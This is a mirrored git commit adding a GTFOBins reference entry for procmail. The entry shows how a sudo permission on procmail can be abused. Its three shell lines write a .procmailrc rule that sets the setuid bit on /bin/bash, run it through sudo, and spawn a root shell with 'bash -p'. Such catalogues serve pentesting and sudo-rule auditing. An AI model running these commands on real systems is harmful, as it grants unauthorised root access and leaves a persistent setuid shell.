mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
ProcmailSudo
This commit is contained in:
parent
61314d55d0
commit
652d31eff5
11
_gtfobins/procmail.md
Normal file
11
_gtfobins/procmail.md
Normal file
@ -0,0 +1,11 @@
|
||||
---
|
||||
description: |
|
||||
Procmail is an email server software component.
|
||||
functions:
|
||||
sudo:
|
||||
- description: By modifying/creating a procmailrc configuration file, we can specify a processing rule for any command we want.
|
||||
code: |
|
||||
echo -e ':0\n| chmod u+s /bin/bash' > .procmailrc
|
||||
echo "gtfobins" | sudo procmail -m .procmailrc
|
||||
bash -p
|
||||
---
|
Loading…
Reference in New Issue
Block a user